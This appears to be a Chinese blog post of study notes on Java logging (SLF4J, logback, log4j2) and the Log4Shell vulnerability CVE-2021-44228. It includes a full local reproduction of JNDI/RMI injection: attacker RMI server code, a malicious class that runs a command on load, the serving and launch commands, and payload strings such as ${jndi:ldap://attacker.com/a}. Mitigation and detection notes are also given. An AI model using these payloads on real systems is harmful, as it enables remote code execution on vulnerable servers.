JNDI RMI 注入(Log4j2漏洞)

提示:重点的地方,使用★★★标记了,方便查看

目录

■相关知识

1.SLF4J(Simple logging Facade for Java) // 简单日志门面

■logback介绍

●logback配置

●log4jp配置

●SpringBoot中, Log配置文件的加载实现方式---(源码)

 2.Java Log4j和Log4j2的区别-----Start

区別①使用的jar包不同

区別②  获取Logger的api不一样,

2.Java Log4j和Log4j2的区别-----End

3.Apache Log4j2 远程代码执行漏洞分析

・【原因 ★★★重点★★★】:可以使用JNDI功能,加载远程代码(黑客的代码),并执行

・OSS jar 版本,小于 2.15.0,存在此漏洞

・临时防护

●使用JNDI漏洞

■(log4j2)漏洞

■JNDI 注入代码实现(RMI)【★★★再现代码★★★】

■代码细节说明

1.javax.naming.Reference // 构造方法

2.代码中使用的服务如何构建

  SimpleHTTPServer  // (Python)快速共享目录

3.RMI的利用版本限制

4.问答

5.RMI(Remote Method Invocation)为远程方法调用

●在攻击端,启动RMI服务(代码)

●RMI代码运行报错 (原因,没有启动RMI服务)

●启动RMI服务之后 (Java不信任RMI的URL再次报错)

●Java不信任RMI的URL再次出错,原因

●Java不信任RMI的URL再次出错、解决、客户端(被攻击者)打开计算机成功【★★★再现效果★★★】

■JNDI注入,再现具体操作

■CVE-2021-44228 Impact of Log4j Vulnerability CVE-2021-44228

■其他注入

■java中,获取数据源时,使用的lookup



■相关知识

1.SLF4J(Simple logging Facade for Java) // 简单日志门面

     // logback是slf4j的原生实现框架 

●简介
意思为简单日志门面,它是把不同的日志系统的实现进行了具体的抽象化,
只提供了统一的日志使用接口,使用时只需要按照其提供的接口方法进行调用即可,
由于它只是一个接口,并不是一个具体的可以直接单独使用的日志框架,
 (一般来说,slf4j配合log4j、logback进行使用,可以理解为slf4j是标准,
 log4j和logback是实现,我们可以根据自己的需求进行选择具体的日志系统)

所以最终日志的格式、记录级别、输出方式等都要通过接口绑定的具体的日志系统来实现,
这些具体的日志系统就有log4j,logback,java.util.logging等,它们才实现了具体的日志系统的功能。
 

●使用(结合日志系统使用)

SLF4J和Logback日志框架详解_chszs的专栏-CSDN博客_slf4j和logback
如何使用SLF4J?
既然SLF4J只是一个接口,那么实际使用时必须要结合具体的日志系统来使用:
(各种结合使用)
===
・SLF4J和logback结合使用时需要提供的jar:slf4j-api.jar,logback-classic.jar,logback-core.jar

・SLF4J和log4j结合使用时需要提供的jar:slf4j-api.jar,slf4j-log412.jar,log4j.jar

・SLF4J和JDK中java.util.logging结合使用时需要提供的jar:slf4j-api.jar,slf4j-jdk14.jar

・SLF4J和simple(SLF4J本身提供的一个接口的简单实现)结合使用时需要提供的jar:slf4j-api.jar,slf4j-simple.jar
===

●架构关系说明 (log4j-over-slf4j)

log4j-over-slf4j工作原理详解_johnhuster的专栏-CSDN博客_log4j-over-slf4j

●slf4j

其实slf4j原理很简单,他只提供一个核心slf4j api(就是slf4j-api.jar包),
这个包只有日志的接口,并没有实现,
所以如果要使用就得再给它提供一个实现了些接口的日志包

 

■logback介绍

官方网站: http://logback.qos.ch。

logback-core:下面两个模块的基础模块
  logback-classic:它是log4j的一个改良版本,同时它完整实现了slf4j API使你可以很方便地更换成其它日志系统如log4j或JDK14 Logging
  logback-access:访问模块与Servlet容器集成提供通过Http来访问日志的功能

●logback日志轮替
子节点<appender>中设置
ch.qos.logback.core.rolling.rolling.TimeBasedRollingPolicy

●logback配置

(logback.xml)
(logback-spring.xml // springboot框架时)
    src/main/resources/logback.xml
logback的使用和logback.xml详解 - 行走在云端的愚公 - 博客园
 ・根节点<configuration>
 ・子节点<appender>:负责写日志的组件,它有两个必要属性name和class。
  name指定appender名称,class指定appender的全限定名
    ch.qos.logback.core.ConsoleAppender
   (配置文件几乎和log4j差不多。选择需要的appender就可以了。)

●log4jp配置

log4j的正常运行需要配置文件,配置文件类型:log4j配置文件可以是log4j.xml也可以是log4j.properties。

log4j:WARN Please initialize the log4j system properly.

●SpringBoot中, Log配置文件的加载实现方式---(源码)

●logback配置文件的加载
只要把logback或者log4j放在【src/main/resources/】 下,容器就可以自动加载日志文件。

AbstractLoggingSystem.java

      【getSpringInitializationConfig()】方法,初期化配置时,载入。

 ---

调用了下面类的【getStandardConfigLocations】方法

LogBackLoggingSystem.java

// 这里以【logback-spring.xml】 的配置文件举例

 2.Java Log4j和Log4j2的区别-----Start

・如果在我们系统中单独使用log4j的话,我们只需要引入log4j的核心包就可以了,我这里用的是:log4j-1.2.17.jar,然后在系统中使用如下代码输出日志:
・如果在我们系统中单独使用log4j2的话,我们只需要引入log4j2的核心包就可以了,我这里用的是:log4j-api-2.7.jar和log4j-core-2.7.jar,然后在系统中使用如下代码输出日志:
private static org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Log4jTest.class);

区別①使用的jar包不同


log4j核心包:1个
   log4j:log4j:[version]
=====
log4j-1.2.17.jar
=====

log4j2的核心包:2个:
  org.apache.logging.log4j:log4j-core:[version]
  org.apache.logging.log4j:log4j-api:[version]
=====
log4j-api-2.11.1.jar
log4j-core-2.11.1.jar
=====

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.5</version>
        </dependency>  

区別②  获取Logger的api不一样,


 log4j的 api 为org.apache.log4j.Logger,
而log4j2的 api 为org.apache.logging.log4j.Logger


区別③①
slf4j+log4j
如果我们在系统中需要使用slf4j和log4j来进行日志输出的话,我们需要引入下面的桥接jar包:
log4j核心jar包:log4j-1.2.17.jar
slf4j核心jar包:slf4j-api-1.6.4.jar
slf4j与log4j的桥接包:slf4j-log4j12-1.6.1.jar,这个包的作用就是使用slf4j的api,但是底层实现是基于log4j.

         private static final Logger logger = LoggerFactory.getLogger(Slf4jTest2.class);

 
区別③②
slf4j+log4j2
如果我们在系统中需要使用slf4j和log4j2来进行日志输出的话,我们需要引入下面的jar包:
log4j2核心jar包:log4j-api-2.7.jar和log4j-core-2.7.jar
slf4j核心jar包:slf4j-api-1.6.4.jar
slf4j与log4j2的桥接包:log4j-slf4j-impl-2.7.jar,这个包的作用就是使用slf4j的api,但是底层实现是基于log4j2.


区別④
log4j2普遍使用xml进行配置

log4j及其log4j2的使用 - shawWey - 博客园

2.Java Log4j和Log4j2的区别-----End

3.Apache Log4j2 远程代码执行漏洞分析


Apache Log4j2 远程代码执行漏洞分析+检测+防护_超人安全院的博客-CSDN博客


・【原因 ★★★重点★★★】:可以使用JNDI功能,加载远程代码(黑客的代码),并执行

Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码

----------------

●原因详细1:JNDI漏洞的类  (实现了StrLookup接口、的类:【JndiLookup】)

Log4j2研究之lookup_夫礼者的专栏-CSDN博客

这里类在「log4j-core-xxx.jar」中

   (源码):⇒ Eclipse中【Maven下载时,下载源码】设定方法_sun0322-CSDN博客

●原因详细2:log4j2,占位符替换机制

Log4j 远控JNDI漏洞: 原理?如何解决?_缘字诀的博客-CSDN博客_jndi log4j
 

log4j 内提供了一些占位符替换机制,如以下代码

logger.info("os: ${java:os}"); 

输出的结果是 “os: Windows 10”、 而不是 “os: ${java:os}”。也就是把 ${java:os} 替换成了 System.getProperties(“os”) 也就是 “Windows 10”。这个很好理解,但离谱的是 log4j 还提供了关于 jndi 的占位符。
 

logger.info("${jndi:rmi//127.0.0.1:1099/heike}")

----------------


・OSS jar 版本,小于 2.15.0,存在此漏洞

若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0,则存在该漏洞。

・临时防护

JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
系统变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

・JNDI (使用JND进行攻击)
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),
是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,
从而使得开发人员在开发过程中可以使用名称来访问对象。

我鮳,Log4j2突发重大漏洞,我们也中招了。。_沉默王二-CSDN博客

●使用JNDI漏洞

利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

public class VulnerableLog4jExampleHandler implements HttpHandler {
    static Logger log = Logger.getLogger(log4jExample.class.getName());
    /**
     * A simple HTTP endpoint that reads the request's User Agent and logs it back.
     *
     * This is basically pseudo-code to explain the vulnerability, and not a full example.
     *
     * @param he HTTP Request Object
     */
    public void handle(HttpExchange he) throws IOException {
        String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
        log.info("Request User Agent:" + userAgent);
        String response = "<h1>Hello There, " + userAgent + "!</h1>";
        he.sendResponseHeaders(200, response.length());
        OutputStream os = he.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}

JNDI漏洞 具体说明//https://github.com/apache/pulsar/issues/13232

===
Logback是由log4j创始人设计的另一个开源日志组件,官方网站: http://logback.qos.ch。它当前分为下面下个模块:

logback-core:其它两个模块的基础模块
logback-classic:它是log4j的一个改良版本,同时它完整实现了slf4j API使你可以很方便地更换成其它日志系统如log4j或JDK14 Logging
logback-access:访问模块与Servlet容器集成提供通过Http来访问日志的功能
===

■(log4j2)漏洞

●(log4j2)漏洞起因
我们经常会在日志中输出一些变量,比如:
  logger.info("client ip: {}", clientIp)
假如现在想要通过日志输出一个Java对象,
但这个对象不在程序中,而是在其他地方,
比如可能在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?

log4j2的强大之处在于,除了可以输出程序中的变量,它还提供了一个叫Lookup的东西,可以用来输出更多内容:


●lookup
lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。
lookup相当于是一个接口,具体去哪里查找,怎么查找,就需要编写具体的模块去实现了,类似于面向对象编程中多态那意思。


●JNDI
 Java Naming and Directory Interface(JAVA命名和目录接口)
它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

简单粗暴理解:
    有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

●JNDI使用
那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。
(LDAP、DNS、NIS、NDS、RMI、CORBA)

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口

68.LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,

但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

所以目录天生是用来查询的,就好象它的名字一样。


●LDAP
・LDAP:(Lightweight Directory Access Protocol) 轻量目录访问协议

  LDAP的基本概念:
   主要用于访问目录服务 用户进行连接、查询、更新远程服务器上的目录。

LDAP稍微详细说明
===
Lightweight Directory Access Protocol(轻量级目录访问协议),
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,
就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,
它有优异的读性能,但写性能差,
并且没有事务处理、回滚等复杂功能,
不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
===

简单粗暴理解:
  有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。


●(log4j2)漏洞原理(举例)
某一个Java程序中,将浏览器的类型记录到了日志中:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent)

这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。
假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:
---
${jndi:ldap://127.0.0.1/exploit}
---
接下来,log4j2将会对这行要输出的字符串进行解析。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。

最后,调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!
Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

●Naming References
如果是自己定义的序列化方式也还好,
但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,
可以通过远程下载一个class文件,然后下载后加载起来构建对象。


●【注意,这里就是核心问题了】
---
JNDI可以远程下载class文件来构建对象!!!
---


●(log4j2)攻击实现
1.攻击者向漏洞服务器发起攻击请求。
 (通过Log4j2记录攻击请求中,使用JNDI・LDAP加载恶意的代码${jndi:ldap://attacker.com/a}。       (attacker.com是攻击者控制的服务))

2.服务器通过JNDI向attacker.com请求 ,此时,恶意类会被加载触发
   (黑客在自己的服务器上,构造LDAP服务,返回一个构造的恶意类)

3.attacker.com就可以在响应中添加一些、恶意的、可执的类,注入到服务器进程中。
   ( 例如可执行的字节码http://attacker.com/Exploit.class )
   被攻击的服务器:响应恶意类,恶意类在服务器端执行

●jndi:ldap
   log.error("${jndi:ldap://attacker.com/a}");


●jndi:rmi
  log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");

问:
  这个1099是谁的端口 public class Poc { private static final Logger log = LogManager.getLogger(); public static void main(String[] args) { log.error("${jndi:rmi://127.0.0.1:1099/xxxx}"); } }
答:
  是LDAP或RMI的地址后缀,需要自己搭建LDAP或RMI服务。

●漏洞检测
企业可以通过监测相关流量或者日志中是否存在**“jndi:ldap://”、“jndi:rmi”**等字符来发现可能的攻击行为。
(log4j2)漏洞-----------------------End

■JNDI 注入代码实现(RMI)【★★★再现代码★★★

JNDI注入基础 - 洋洋的小黑屋 - 博客园

(被攻击者)客户端(服务器)代码
(使用log4j2时,可以注入进行执行。)


import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
 
public class Client {
    public static void main(String[] args) throws NamingException {
            String uri = "rmi://127.0.0.1:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
    }
}

--

(黑客)服务器端代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Server {
    public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
    }
}

此类编译时,有警告

1_RMI> javac '.\Server.java'
.\Server.java:2: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
import com.sun.jndi.rmi.registry.ReferenceWrapper;
                                ^
.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            ^
.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
                                                 ^
3 个警告

---

被加载的恶意类 (打开计算器, 会打开4个)

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        return null;
    }
}

--

JNDI 注入实现(RMI)  --------End

■代码细节说明

1.javax.naming.Reference // 构造方法

Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");

2.代码中使用的服务如何构建

  SimpleHTTPServer  // (Python)快速共享目录

Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");

  各种Linux发行版通常都内置了python,故使用此方法非常方便。在其它OS(比如Windows)此方法也有效,但是要麻烦一些,必须先搭建Python环境。

  SimpleHTTPServer是Python 2自带的一个模块,是Python的Web服务器。它在Python 3已经合并到http.server模块中。SimpleHTTPServer在Python 3的用法与在Python 2的用法相似(python3 -m http.server 8081)

python -m SimpleHTTPServer 8081

---

在【被加载的恶意类】的目录下,执行此命令

python3 -m http.server 8081

  SimpleHTTPServer有一个特性,如果待共享的目录下有index.html,那么index.html文件会被视为默认主页;如果不存在index.html文件,那么就会显示整个目录列表。

3.RMI的利用版本限制

从jdk8u121 7u131 6u141版本开始

    com.sun.jndi.rmi.object.trustURLCodebase、

    com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

即默认不允许从远程的Codebase加载Reference工厂类

所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)

4.问答

---

1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类

       服务端本地不需要恶意类

2.是服务端的版本有限制还是客户端版本有限制

    是客户端有版本限制,需要小于8u121

3.为什么关闭服务器,客户端还可以继续执行payload

        客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类

---

5.RMI(Remote Method Invocation)为远程方法调用

  是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。
  这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

●在攻击端,启动RMI服务(代码)


   首先,在一个JVM中启动rmiregistry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)。

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Server {
    public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
    }
}

registry  //  在一个JVM中启动rmiregistry服务

英 [ˈrɛdʒɪstrɪ]   n. 登记处,注册处;登记,注册

●RMI代码运行报错 (原因,没有启动RMI服务)

MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
        java.net.ConnectException: Connection refused: connect]
        at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:136)
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
        at javax.naming.InitialContext.lookup(InitialContext.java:417)
        at Client.main(Client.java:10)
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
        java.net.ConnectException: Connection refused: connect
        at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
        at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
        at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
        at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:338)
        at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:112)
        at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132)
        ... 3 more
Caused by: java.net.ConnectException: Connection refused: connect
        at java.net.DualStackPlainSocketImpl.connect0(Native Method)
        at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
        at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
        at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
        at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
        at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
        at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
        at java.net.Socket.connect(Socket.java:589)
        at java.net.Socket.connect(Socket.java:538)
        at java.net.Socket.<init>(Socket.java:434)
        at java.net.Socket.<init>(Socket.java:211)
        at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(RMIDirectSocketFactory.java:40)
        at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(RMIMasterSocketFactory.java:148)
        at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:613)
        ... 8 more

●启动RMI服务之后 (Java不信任RMI的URL再次报错)

 (第二个窗口为启动RMI,java的程序,一直是运行状态,没有退出)

Java不信任RMI的URL再次报错,信息

MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
        at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
        at javax.naming.InitialContext.lookup(InitialContext.java:417)
        at Client.main(Client.java:10)

●Java不信任RMI的URL再次出错,原因

从jdk8u121 7u131 6u141版本开始

    com.sun.jndi.rmi.object.trustURLCodebase、

    com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

即默认不允许从远程的Codebase加载Reference工厂类

●Java不信任RMI的URL再次出错、解决、客户端(被攻击者)打开计算机成功【★★★再现效果★★★】

JDK 8u191之后的JNDI注入(注入模拟   被攻击者,启动的JVM时, 需要加上以下参数)

java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client 

※ PowerShell下不好用,在cmd命令行下好用,运行之后,连续打开4个计算器。

【再现成功】 

 

【再现成功 powershell 下执行时,需要加上双引号】 

java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client 

■JNDI注入,再现具体操作

javac Calc.java
javac Server.java
Javac Client.java

python3 -m http.server 8081

java Server

java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client 


java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client 

在powershell中执行时,参数后面的值需要加上引号 (D“xxxxx=xxx”)

37.-D -X -XX

java虚拟机参数 -D、-X和-XX的区别_上尤流苏-CSDN博客_java虚拟机参数设置-xx与-d

■CVE-2021-44228 Impact of Log4j Vulnerability CVE-2021-44228

可以查询的网站

===

Palo Alto Networks Security Advisories

CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and

===

下面这个网站查询不到

CWE - News & Events (mitre.org)

===

features [ˈfiːtʃəz] 相貌;容貌 ;特色; 特征; 特点;  // JNDI features used

  // CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.


  通过 【Apache Log4j2 2.0-beta9到2.12.1和2.13.0到2.15.0 】配置、日志消息和参数中,使用的JNDI功能。无法防止攻击者控制的LDAP和其他JNDI相关端点。
 

●against 英[əˈɡenst] 介词,意为“反对,违反;对……不利;紧靠,倚,碰撞;针对;预防,抵御;

●attacker    英[əˈtækə(r)] 攻击者

// against attacker  对付攻击者

●black hat 黑客

●hacker 英 [ˈhækə]  n.  电脑黑客 

Hacker一词,最初曾指热心于计算机技术、水平高超的电脑高手,尤其是程序设计人员,
逐渐区分为白帽、灰帽、黑帽等,其中黑帽(black hat)实际就是cracker。

在媒体报道中,黑客一词常指那些软件骇客(software cracker),
而与黑客(黑帽子)相对的则是白帽子。

■其他注入

Mybatis (⽀持对象与数据库的 ORM 字段映射关系)

#{}相当于使用占位符,可以防⽌ SQL 注入。


  (#{}是预编译处理,相当于对数据加上双引号,然后调用PreparedStatement的set方法来赋值)
 

${}是字符串替换,相当于直接显示数据,

■java中,获取数据源时,使用的lookup

Context iniCtx = new InitialContext();   
DataSource dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/test");

java:comp/env/   前面是固定的   
java:comp/env/   是标准的J2EE环境查找规则 

---

package com.city.sxzlc.factory;

import javax.sql.DataSource;
import javax.naming.InitialContext;
import java.sql.Connection;
public class ConnectionFactory {
	public  static Connection  getConnection() throws Exception{
		Connection cn = null;
		InitialContext ctx =null;
		try{
			ctx = new InitialContext();
			DataSource ds = (DataSource)ctx.lookup("java:comp/env/jdbc/messageBoard");
			cn = ds.getConnection();
			System.out.println("使用纯JDBC获取连接成功");
		}
		catch(Exception e)
		{
				System.out.println("使用纯JDBC获取连接失败 ,   "+e.getMessage());
				throw new Exception("使用纯JDBC获取连接失败");
		}
		finally
		{
						ctx.close();	
		}//final end
		return cn;
	}
	
	
}

在Tomcat的conf/context.xml里面增加如下配置

所以在Tomcat 4.1.27之后,在服务器上就直接增加了数据源的配置选项直接在服务器上配置好数据源连接池即可

【apache-tomcat-9.0.0.M13\conf\context.xml】

</Context>


<!--
  |- name:表示以后要查找的名称。通过此名称可以找到DataSource,此名称任意更换,但是程序中最终要查找的就是此名称,
  |- auth:由容器进行授权及管理,指的用户名和密码是否可以在容器上生效
  |- type:此名称所代表的类型,现在为javax.sql.DataSource
  |- maxActive:表示一个数据库在此服务器上所能打开的最大连接数
  |- maxIdle:表示一个数据库在此服务器上维持的最小连接数
  |- maxWait:最大等待时间。10000毫秒
  |- username:数据库连接的用户名
  |- password:数据库连接的密码
  |- driverClassName:数据库连接的驱动程序
  |- url:数据库连接的地址
-->

 <Resource name="jdbc/messageBoard"
		    auth="Container"
		    type="javax.sql.DataSource"
		    maxTotal="10"
		    maxIdle="3"
		    maxWaitMillis="10000"
		    username="root"
		    password="root001"
		    driverClassName="com.mysql.jdbc.Driver"
		    url="jdbc:mysql://localhost:3306/messageboard?useUnicode=true&amp;characterEncoding=UTF-8" />

</Context>

---

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值